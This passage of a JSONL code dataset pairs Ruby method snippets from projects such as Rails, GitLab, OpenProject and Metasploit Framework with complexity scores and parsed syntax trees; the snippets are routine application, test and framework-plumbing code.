{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/work_packages/work_packages_table.rb","start_line":179,"raw_source":"def expect_no_work_package_listed\n      within(table_container) do\n        expect(page).to have_css(\"#empty-row-notification\")\n      end\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_no_work_package_listed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"send\",\"children\":[null,\"table_container\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"#empty-row-notification\"]}]}]}]}]}","id":"8902a600-2988-4ec6-bdd4-6c29a9dd9d54"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/code_statistics.rb","start_line":154,"raw_source":"def print_code_test_stats\n        code  = calculate_code\n        tests = calculate_tests\n\n        puts \"  Code LOC: #{code}     Test LOC: #{tests}     Code to Test Ratio: 1:#{sprintf(\"%.1f\", tests.to_f / code)}\"\n        puts \"\"\n      end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"print_code_test_stats\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"code\",{\"type\":\"send\",\"children\":[null,\"calculate_code\"]}]},{\"type\":\"lvasgn\",\"children\":[\"tests\",{\"type\":\"send\",\"children\":[null,\"calculate_tests\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  Code LOC: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]}]},{\"type\":\"str\",\"children\":[\"     Test LOC: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tests\"]}]},{\"type\":\"str\",\"children\":[\"     Code to Test Ratio: 1:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sprintf\",{\"type\":\"str\",\"children\":[\"%.1f\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tests\"]},\"to_f\"]},\"/\",{\"type\":\"lvar\",\"children\":[\"code\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"d84ddabe-7fc7-4772-b915-1ed5e92fbe05"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/server_timing.rb","start_line":40,"raw_source":"def unsubscribe\n        @mutex.synchronize do\n          ActiveSupport::Notifications.unsubscribe @subscriber\n          @subscriber = nil\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"unsubscribe\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"unsubscribe\",{\"type\":\"ivar\",\"children\":[\"@subscriber\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@subscriber\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"b2898d93-dcb1-47a1-a620-2ad75751a5bf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/web_ide/settings/extension_marketplace_view_model_generator.rb","start_line":20,"raw_source":"def self.build_view_model(context)\n        context => {\n          options: {\n            user: ::User => user\n          },\n          settings: {\n            vscode_extension_marketplace: Hash => vscode_settings,\n            vscode_extension_marketplace_metadata: Hash => metadata\n          }\n        }\n\n        return { enabled: true, vscode_settings: vscode_settings } if metadata.fetch(:enabled)\n\n        disabled_reason = metadata.fetch(:disabled_reason)\n\n        result = { enabled: false, reason: disabled_reason, help_url: help_url }\n\n        result.merge(gallery_disabled_extra_attributes(disabled_reason: disabled_reason, user: user))\n      end","complexity_score":17.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build_view_model\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"match_pattern\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"match_as\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"User\"]},{\"type\":\"match_var\",\"children\":[\"user\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"settings\"]},{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vscode_extension_marketplace\"]},{\"type\":\"match_as\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"match_var\",\"children\":[\"vscode_settings\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vscode_extension_marketplace_metadata\"]},{\"type\":\"match_as\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"match_var\",\"children\":[\"metadata\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"enabled\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vscode_settings\"]},{\"type\":\"lvar\",\"children\":[\"vscode_settings\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"disabled_reason\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"disabled_reason\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"lvar\",\"children\":[\"disabled_reason\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"help_url\"]},{\"type\":\"send\",\"children\":[null,\"help_url\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"gallery_disabled_extra_attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disabled_reason\"]},{\"type\":\"lvar\",\"children\":[\"disabled_reason\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}]}]}","id":"1ac8e521-edd8-450c-b8d2-b8951235124e"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/api/conditional_get_test.rb","start_line":109,"raw_source":"def test_both_should_be_used_when_strict_freshness_is_false\n    with_strict_freshness(false) do\n      # stale because the etag match but the last modified doesn't\n      @request.if_modified_since = 5.years.ago.httpdate\n      @request.if_none_match = weak_etag([:foo, 123])\n\n      get :one\n      assert_response :ok\n    end\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_both_should_be_used_when_strict_freshness_is_false\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_strict_freshness\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"if_modified_since=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"years\"]},\"ago\"]},\"httpdate\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"if_none_match=\",{\"type\":\"send\",\"children\":[null,\"weak_etag\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"int\",\"children\":[123]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"one\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}]}","id":"f6d5a78b-c6cf-42a5-b714-af9264b5690d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/browser_ui/4_verify/pipeline/include_multiple_files_from_multiple_projects_spec.rb","start_line":48,"raw_source":"def included_files(project)\n        [\n          {\n            action: 'create',\n            file_path: 'file1.yml',\n            content: <<~YAML\n              test1_for_#{project.full_path}:\n                tags: [\"#{executor}\"]\n                script: echo hello1\n            YAML\n          },\n          {\n            action: 'create',\n            file_path: 'file2.yml',\n            content: <<~YAML\n              test2_for_#{project.full_path}:\n                tags: [\"#{executor}\"]\n                script: echo hello2\n            YAML\n          }\n        ]\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"included_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"create\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_path\"]},{\"type\":\"str\",\"children\":[\"file1.yml\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"test1_for_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"full_path\"]}]},{\"type\":\"str\",\"children\":[\":\\n\"]},{\"type\":\"str\",\"children\":[\"  tags: [\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"executor\"]}]},{\"type\":\"str\",\"children\":[\"\\\"]\\n\"]},{\"type\":\"str\",\"children\":[\"  script: echo hello1\\n\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"create\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_path\"]},{\"type\":\"str\",\"children\":[\"file2.yml\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"test2_for_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"full_path\"]}]},{\"type\":\"str\",\"children\":[\":\\n\"]},{\"type\":\"str\",\"children\":[\"  tags: [\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"executor\"]}]},{\"type\":\"str\",\"children\":[\"\\\"]\\n\"]},{\"type\":\"str\",\"children\":[\"  script: echo hello2\\n\"]}]}]}]}]}]}","id":"ab6397a8-53c4-4037-ae1d-95be39a0fba8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/scripts/setup/tests-metadata_spec.rb","start_line":136,"raw_source":"def expect_system_curl_with(arguments, curl_return)\n      to =\n        if expect_curl\n          :to\n        else\n          :not_to\n        end\n\n      expectation =\n        expect(metadata).public_send(to, receive(:system)).with(*arguments) # rubocop:disable RSpec/MissingExpectationTargetMethod -- it's dynamic\n\n      expectation.and_return(curl_return) if expect_curl\n    end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_system_curl_with\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arguments\"]},{\"type\":\"arg\",\"children\":[\"curl_return\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"to\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect_curl\"]},{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"sym\",\"children\":[\"not_to\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expectation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"metadata\"]}]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"system\"]}]}]},\"with\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arguments\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect_curl\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expectation\"]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"curl_return\"]}]},null]}]}]}","id":"1c7877b4-faf4-4b3f-9c37-bad7d56a97db"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/simple/exploit.rb","start_line":226,"raw_source":"def check_simple(opts = {})\n    Msf::Simple::Exploit.check_simple(self, opts)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check_simple\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Simple\"]},\"Exploit\"]},\"check_simple\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}","id":"9ba4b6fc-ccd3-4e2e-a954-2e2e8b732a5d"}
{"repo_name":"ahoy","file_path":"./repos/ahoy/lib/ahoy/tracker.rb","start_line":216,"raw_source":"def visitor_token_helper\n      @visitor_token_helper ||= begin\n        token = existing_visitor_token\n        token ||= visitor_anonymity_set unless Ahoy.cookies?\n        token ||= generate_id unless Ahoy.api_only\n        token\n      end\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"visitor_token_helper\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@visitor_token_helper\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[null,\"existing_visitor_token\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ahoy\"]},\"cookies?\"]},null,{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[null,\"visitor_anonymity_set\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ahoy\"]},\"api_only\"]},null,{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[null,\"generate_id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]}","id":"18d58ece-5f46-49ca-8633-0b11da31d50a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/first_argument_indentation.rb","start_line":155,"raw_source":"def on_send(node)\n          return unless should_check?(node)\n          return if same_line?(node, node.first_argument)\n          return if enforce_first_argument_with_fixed_indentation? &&\n                    !enable_layout_first_method_argument_line_break?\n\n          indent = base_indentation(node) + configured_indentation_width\n\n          check_alignment([node.first_argument], indent)\n        end","complexity_score":17.3,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_check?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"same_line?\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_argument\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enforce_first_argument_with_fixed_indentation?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enable_layout_first_method_argument_line_break?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"indent\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_indentation\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"configured_indentation_width\"]}]}]},{\"type\":\"send\",\"children\":[null,\"check_alignment\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_argument\"]}]},{\"type\":\"lvar\",\"children\":[\"indent\"]}]}]}]}","id":"c2ee88d0-1089-450a-be01-e50c8ff5cfd1"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/post_serializer.rb","start_line":233,"raw_source":"def flair_name\n    object.user&.flair_group&.name\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"flair_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user\"]},\"flair_group\"]},\"name\"]}]}","id":"37b7cc02-395d-4b07-ab17-13f8a1b4a54f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/copy_service.rb","start_line":47,"raw_source":"def perform\n    attributes = params.except(:send_notifications, :copy_attachments, :copy_share_members)\n\n    in_context(work_package, send_notifications: params[:send_notifications]) do\n      copy(attributes, params[:send_notifications])\n    end\n  end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"except\",{\"type\":\"sym\",\"children\":[\"send_notifications\"]},{\"type\":\"sym\",\"children\":[\"copy_attachments\"]},{\"type\":\"sym\",\"children\":[\"copy_share_members\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_context\",{\"type\":\"send\",\"children\":[null,\"work_package\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"send_notifications\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"send_notifications\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"copy\",{\"type\":\"lvar\",\"children\":[\"attributes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"send_notifications\"]}]}]}]}]}]}","id":"f2a6035a-bfb6-4e51-90f5-823c2cecfe7a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/schema_migrations/context.rb","start_line":19,"raw_source":"def versions_to_create\n          versions_from_database =\n            if ::Gitlab.next_rails?\n              @connection.pool.schema_migration.versions\n            else\n              @connection.schema_migration.versions\n            end\n\n          versions_from_migration_files =\n            if ::Gitlab.next_rails?\n              @connection.pool.migration_context.migrations.map { |m| m.version.to_s }\n            else\n              @connection.migration_context.migrations.map { |m| m.version.to_s }\n            end\n\n          versions_from_database & versions_from_migration_files\n        end","complexity_score":30.2,"ast_json":"{\"type\":\"def\",\"children\":[\"versions_to_create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"versions_from_database\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"next_rails?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"pool\"]},\"schema_migration\"]},\"versions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"schema_migration\"]},\"versions\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"versions_from_migration_files\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"next_rails?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"pool\"]},\"migration_context\"]},\"migrations\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"version\"]},\"to_s\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"migration_context\"]},\"migrations\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"version\"]},\"to_s\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"versions_from_database\"]},\"&\",{\"type\":\"lvar\",\"children\":[\"versions_from_migration_files\"]}]}]}]}","id":"3d957cb9-33c0-4673-ba92-0760bad36ef7"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/datepicker/datepicker.rb","start_line":207,"raw_source":"def expect_not_disabled(date)\n      ensure_date_is_displayed(date) unless displays_date?(date)\n      label = date.strftime(\"%B %-d, %Y\")\n      expect(page).to have_css(\".flatpickr-day:not(.flatpickr-disabled):not(.flatpickr-non-working-day)[aria-label='#{label}']\")\n    end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_not_disabled\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"displays_date?\",{\"type\":\"lvar\",\"children\":[\"date\"]}]},null,{\"type\":\"send\",\"children\":[null,\"ensure_date_is_displayed\",{\"type\":\"lvar\",\"children\":[\"date\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"label\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%B %-d, %Y\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".flatpickr-day:not(.flatpickr-disabled):not(.flatpickr-non-working-day)[aria-label='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]}]},{\"type\":\"str\",\"children\":[\"']\"]}]}]}]}]}]}","id":"638363d5-39b3-48c4-8f39-6feec8168345"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/web_services/http_db_manager_service.rb","start_line":45,"raw_source":"def require_environment!(parsed_options)\n    # RAILS_ENV must be set before requiring 'config/application.rb'\n    parsed_options.environment!\n    ARGV.replace(parsed_options.positional)\n\n    # allow other Rails::Applications to use this command\n    if !defined?(Rails) || Rails.application.nil?\n      # @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/commands.rb#L39-L40\n      require Pathname.new(__FILE__).parent.parent.parent.parent.parent.join('config', 'application')\n    end\n\n    # have to configure before requiring environment because\n    # config/environment.rb calls initialize! and the initializers will use\n    # the configuration from the parsed options.\n    parsed_options.configure(Rails.application)\n\n    Rails.application.require_environment!\n  end","complexity_score":27.5,"ast_json":"{\"type\":\"def\",\"children\":[\"require_environment!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parsed_options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_options\"]},\"environment!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARGV\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_options\"]},\"positional\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"str\",\"children\":[\"(method)\"]}]},\"parent\"]},\"parent\"]},\"parent\"]},\"parent\"]},\"parent\"]},\"join\",{\"type\":\"str\",\"children\":[\"config\"]},{\"type\":\"str\",\"children\":[\"application\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_options\"]},\"configure\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"require_environment!\"]}]}]}","id":"55b15649-4906-45cd-b348-aa0b20652e7a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/ldap_groups/app/services/ldap_groups/synchronize_filter_service.rb","start_line":71,"raw_source":"def create_or_update_sync_group(dn)\n      group = LdapGroups::SynchronizedGroup\n        .find_or_initialize_by(dn:).tap do |sync|\n        # Always set the filter and auth source, in case multiple filters match the same group\n        # they are simply being re-assigned to the latest one\n        sync.filter_id = filter.id\n        sync.ldap_auth_source_id = filter.ldap_auth_source_id\n\n        # Tell the group to synchronize users if the filter has requested it to\n        sync.sync_users = filter.sync_users\n      end\n\n      group.tap { group.save! if group.persisted? }\n    end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_or_update_sync_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dn\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LdapGroups\"]},\"SynchronizedGroup\"]},\"find_or_initialize_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dn\"]},{\"type\":\"lvar\",\"children\":[\"dn\"]}]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sync\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync\"]},\"filter_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync\"]},\"ldap_auth_source_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter\"]},\"ldap_auth_source_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync\"]},\"sync_users=\